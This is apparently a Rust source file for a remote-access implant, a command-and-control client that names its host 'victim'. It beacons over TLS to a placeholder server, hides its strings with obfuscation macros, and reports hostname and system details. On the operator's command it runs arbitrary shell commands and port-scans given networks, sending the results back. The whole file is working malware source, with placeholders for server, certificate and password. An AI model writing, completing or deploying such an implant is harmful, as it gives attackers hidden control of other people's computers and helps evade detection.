use ipnet::IpNet;
use obfstr::{obfstr, obfstring};
use rayon::prelude::*;
use rustls::ClientConfig;
use rustls::ClientConnection;
use rustls::RootCertStore;
use rustls::StreamOwned;
use rustls::pki_types::ServerName;
use std::collections::HashMap;
use std::error::Error;
use std::fs;
use std::io::BufReader;
use std::io::Read;
use std::io::Write;
use std::net::IpAddr;
use std::net::SocketAddr;
use std::net::TcpStream;
use std::path::PathBuf;
use std::process::Command;
use std::sync::{Arc, Mutex};
use std::thread;
use std::thread::spawn;
use std::time::Duration;
use std::time::Instant;
use sysinfo::*;

#[derive(Clone, Debug)]
pub struct Server {
    pub address: String,
    pub connected: bool,
    pub timer: Duration,
    pub config: Arc<ClientConfig>,
    pub last_check: Instant,
    pub message_que: Arc<Mutex<Vec<String>>>,
    pub action_que: Vec<String>,
    pub client_id: usize,
    pub client_name: String,
    pub password: String,
    pub logged_in: bool,
}

impl Server {
    pub fn connect(&mut self) -> Result<usize, Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write("HELLO|victim".as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if let Some((_, id)) = response.split_once("|") {
            self.client_id = id.trim().parse()?;
        }
        if let Ok(mut lock) = self.message_que.lock() {
            lock.push(format!("SET_HOSTNAME|{}", self.client_name));
        }
        self.connected = true;
        self.last_check = Instant::now();
        return Ok(self.client_id);
    }

    pub fn login(&mut self, pass: String) -> Result<(), Box<dyn Error>> {
        let mut stream = self.tls_connect()?;
        stream.write(format!("NONE**{}|||LOGIN|{}||", self.client_id, pass).as_bytes())?;
        let mut buf = [0; 8192];
        let bytes_read = stream.read(&mut buf)?;
        let response = String::from_utf8_lossy(&buf[..bytes_read]);
        if response.contains("successful") {
            self.password = pass;
            self.last_check = Instant::now();
            self.logged_in = true;
            return Ok(());
        } else {
            return Err("error logging in!".into());
        }
    }

    pub fn checkin(&mut self) {
        if self.logged_in {
            if let Ok(mut stream) = self.tls_connect() {
                if let Ok(mut lock) = self.message_que.lock() {
                    self.last_check = Instant::now();
                    let payload = format!(
                        "{}**{}|||{}\n",
                        self.password.clone(),
                        self.client_id.clone(),
                        lock.join("||")
                    );
                    if let Err(e) = stream.write_all(payload.as_bytes()) {
                        self.action_que
                            .push(format!("Error|sending reponse output to server! {e}"));
                    }
                    lock.clear();
                    let mut buffer = [0; 4096];
                    if let Ok(bytes_read) = stream.read(&mut buffer) {
                        if bytes_read > 0 {
                            let response = String::from_utf8_lossy(&buffer[..bytes_read]);
                            response.split("||").into_iter().for_each(|action| {
                                self.action_que.push(action.trim().to_string());
                                if action.contains("Not authenticated") {
                                    self.logged_in = false;
                                }
                            });
                        }
                    }
                }
            } else {
                let _ = self.login(self.password.clone());
            }
        }
    }

    fn tls_connect(&self) -> Result<StreamOwned<ClientConnection, TcpStream>, Box<dyn Error>> {
        let config = self.config.clone();
        let tcp = TcpStream::connect(&self.address)?;
        let (host, _) = self.address.split_once(':').ok_or("Invalid address")?;
        let server_name = ServerName::try_from(host.to_string())?;
        let connection = ClientConnection::new(config, server_name)?;
        let tls_stream = StreamOwned::new(connection, tcp);
        Ok(tls_stream)
    }
}

fn portscan(given_targets: String, given_ports: String, message_que: Arc<Mutex<Vec<String>>>) {
    let mut targets = Vec::new();
    given_targets.split(",").into_iter().for_each(|t| {
        if let Ok(ip) = t.parse::<IpAddr>() {
            given_ports.split(",").into_iter().for_each(|p| {
                if let Ok(port) = p.parse::<u16>() {
                    targets.push(SocketAddr::new(ip, port));
                }
            });
        } else if let Ok(net) = t.parse::<IpNet>() {
            net.hosts().into_iter().for_each(|h| {
                given_ports.split(",").into_iter().for_each(|p| {
                    if let Ok(port) = p.parse::<u16>() {
                        targets.push(SocketAddr::new(h, port));
                    }
                });
            });
        }
    });
    targets.par_iter().for_each(|t| {
        if let Ok(_) = TcpStream::connect_timeout(t, Duration::from_secs(5)) {
            if let Ok(mut lock) = message_que.lock() {
                lock.push(format!("{} is open on {}", t.port(), t.ip()));
            }
        }
    });
}

fn main() -> Result<(), Box<dyn Error>> {
    let mut roots = RootCertStore::empty();
    let mut reader = BufReader::new("|||CERT|||".as_bytes());
    let certs = rustls_pemfile::certs(&mut reader).collect::<Result<Vec<_>, _>>()?;
    for cert in certs {
        roots.add(cert)?;
    }
    let client_config = ClientConfig::builder()
        .with_root_certificates(roots)
        .with_no_client_auth();
    let mut server = Server {
        address: obfstring!("|||SERVER|||"),
        connected: false,
        timer: Duration::from_secs(90),
        last_check: Instant::now(),
        config: Arc::new(client_config),
        message_que: Arc::new(Mutex::new(Vec::new())),
        action_que: Vec::new(),
        client_id: 0,
        client_name: obfstring!("Victim1"),
        password: obfstring!("|||PASSWORD|||"),
        logged_in: false,
    };
    let system = System::host_name();
    if let Some(hostname) = system {
        server.client_name = hostname;
    }
    let mut handles = HashMap::new();
    let mut handle_id = 0;
    let mut stop = false;
    loop {
        if !server.connected {
            let _ = server.connect();
        } else {
            if Instant::now().duration_since(server.last_check) >= server.timer {
                server.checkin();
                if !server.action_que.is_empty() {
                    for action in server.action_que.clone() {
                        if let Some((action, data)) = action.split_once(obfstr!("|")) {
                            if action.trim() == obfstr!("CMD") {
                                let data = data.trim();
                                let cmd;
                                let mut args = Vec::new();
                                if data.trim().contains(" ") {
                                    let (given_cmd, given_args) = data.split_once(" ").unwrap();
                                    cmd = given_cmd.to_string();
                                    given_args.split(" ").into_iter().for_each(|a| {
                                        args.push(a.to_string());
                                    });
                                } else {
                                    cmd = data.trim().to_string();
                                }
                                if cmd.trim() == obfstr!("set_sleep") {
                                    if let Ok(secs) = args[0].parse::<u64>() {
                                        server.timer = Duration::from_secs(secs);
                                        if let Ok(mut lock) = server.message_que.lock() {
                                            lock.push(format!(
                                                "OUTPUT|Set sleep for {} seconds",
                                                secs,
                                            ));
                                        }
                                    }
                                } else if cmd.trim() == obfstr!("victim_info") {
                                    if let Ok(mut lock) = server.message_que.lock() {
                                        lock.push(format!("OUTPUT|Address:{}", server.address));
                                        lock.push(format!(
                                            "OUTPUT|Timer:{}",
                                            server.timer.as_secs()
                                        ));
                                        lock.push(format!("OUTPUT|ID:{}", server.client_id));
                                        lock.push(format!(
                                            "OUTPUT|Hostname:{}",
                                            server.client_name
                                        ));
                                        let system = System::new_all();

                                        lock.push(format!(
                                            "Available RAM:{}",
                                            system.free_memory()
                                        ));
                                        lock.push(format!(
                                            "Num CPUs:{}",
                                            system.cpus().iter().count()
                                        ));
                                        lock.push(format!("Total RAM:{}", system.total_memory()));
                                    }
                                } else if cmd.trim() == obfstr!("portscan") {
                                    let targets = args[0].clone();
                                    let ports = args[1].clone();
                                    let que_clone = server.message_que.clone();
                                    thread::spawn(move || {
                                        portscan(targets, ports, que_clone);
                                    });
                                } else {
                                    let mut command = Command::new(&cmd);
                                    if !args.is_empty() {
                                        args.iter().for_each(|a| {
                                            command.arg(a);
                                        });
                                    }
                                    let handle = spawn(move || -> String {
                                        let mut out = String::new();
                                        let res = command.output();
                                        match res {
                                            Ok(result) => {
                                                if result.status.success() {
                                                    out.push_str(&format!(
                                                        "{} completed successfully!\n",
                                                        cmd
                                                    ));
                                                    if !result.stderr.is_empty() {
                                                        let err_string =
                                                            String::from_utf8_lossy(&result.stderr)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "errors: {}\n",
                                                            err_string
                                                        ));
                                                    }
                                                    if !result.stdout.is_empty() {
                                                        let out_string =
                                                            String::from_utf8_lossy(&result.stdout)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "std_out: {}\n",
                                                            out_string
                                                        ));
                                                    }
                                                } else {
                                                    out.push_str(&format!("{} failed.\n", cmd));
                                                    if !result.stderr.is_empty() {
                                                        let out_string =
                                                            String::from_utf8_lossy(&result.stderr)
                                                                .to_string();
                                                        out.push_str(&format!(
                                                            "Errors: {}",
                                                            out_string
                                                        ));
                                                    }
                                                }
                                            }
                                            Err(e) => {
                                                out.push_str(&format!(
                                                    "Error getting command: {e}"
                                                ));
                                            }
                                        }
                                        return out;
                                    });
                                    handles.insert(handle_id, Some(handle));
                                    handle_id += 1;
                                }
                            } else if action.trim() == obfstr!("DISCONNECT") {
                                stop = true;
                            }
                        }
                    }
                }
                server.action_que.clear();
            }
        }
        let mut finished = Vec::new();
        handles.iter_mut().for_each(|(id, h)| {
            if let Some(handle) = h.as_ref() {
                if handle.is_finished() {
                    finished.push(id.clone());
                }
            }
        });
        finished.iter().for_each(|id| {
            let handle_opt = handles.remove(id);
            if handle_opt.is_some() {
                let handle_opt_2 = handle_opt.unwrap();
                if handle_opt_2.is_some() {
                    let handle = handle_opt_2.unwrap();
                    if let Ok(output) = handle.join() {
                        if let Ok(mut lock) = server.message_que.lock() {
                            lock.push(format!("OUTPUT|{}", output));
                        }
                    }
                }
            }
        });
        if stop {
            break;
        }
    }
    Ok(())
}